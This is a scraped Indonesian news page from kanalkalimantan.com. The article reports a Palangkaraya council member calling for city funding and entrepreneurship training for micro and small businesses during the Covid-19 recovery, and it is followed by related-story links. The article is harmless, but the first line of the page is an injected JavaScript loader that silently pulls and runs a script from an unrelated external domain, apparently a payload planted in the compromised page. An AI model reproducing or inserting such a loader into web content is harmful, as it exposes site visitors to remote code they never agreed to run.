(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PALANGKARAYA – Anggota Komisi A DPRD Kota Palangkaraya, Reja Framika menyarankan agar pemerintah setempat dapat memberikan alokasi dana pelaku Usaha Mikro Kecil dan Menengah (UMKM). Sehingga bisa mengembangkan potensi usaha mereka, dengan memberikan pelatihan kewirausahaan berbasis ekonomi kreatif.
“Jadi para pelaku UMKM yang sudah mendapatkan pembinaan dapat membantu pemerintah di dalam meningkatkan pendapatan asli daerah,” kata Reja Framika.
Reja -biasa disapa- meyakini, selain membantu meningkatkan pertumbuhan perekonomian, banyak dampak positif dari bidang tersebut, seperti membuka lapangan pekerjaan baru bagi masyarakat, mengurangi angka pengangguran, menciptakan masyarakat yang kreatif dan inovatif, kompetisi aktivitas dunia bisnis yang lebih sehat. Serta meningkatkan inovasi pelaku ekonomi kreatif di berbagai sektor.
Memang saat ini pemerintah tengah fokus memutus mata rantai pandemi Covid-19 dengan vaksinasi nasional, serta pemulihan pada semua sektor ekonomi. Akan tetapi, tidak ada salahnya jika Pemko Palangkaraya dapat memberi perhatian dengan memberikan alokasi dana lebih bagi para pelaku UMKM. Dirinya mencontohkan, UMKM yang banyak digandrungi masyarakat saat ini adalah kuliner. Pemko Palangkaraya harus aktif memberi dukungan kepada pelaku UMKM sektor kuliner.
Dengan begitu, perekonomian masyarakat menengah ke bawah akan bertahan. Jika perusahaan-perusahaan besar mendapatkan insentif dari dampak pandemi Covid-19, maka hal sama juga harus diberikan kepada pelaku UMKM.
“Pemerintah harus bisa memberikan pembinaan, bimbingan kepada para pelaku UMKM. Dari menjual makanan yang lebih sehat, lebih baik. Nah ini harus didorong, diberikan kepada masyarakat,”ujarnya.
Pelaku UMKM tetap eksis dengan cara memanfaatkan dunia teknologi yang tengah tren saat ini, sehingga masih bisa melakukan pengembangan, misalnya pakai sistem online, karena masih banyak karyawan toko-toko menawarkan produk atau dagangan secara online, dengan data yang dimiliki toko tersebut. (kanalkalimantan.com/tri)
Reporter : tri
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More
KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More
KANALKALIMANTAN.COM, JAKARTA - Seleksi Nasional Berdasarkan Prestasi (SNBP) 2026 menjadi perhatian siswa kelas akhir SMA,… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Remaja laki-laki yang tenggelam di Sungai Martapura, Kota Banjarmasin ditemukan dalam keadaan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More
This website uses cookies.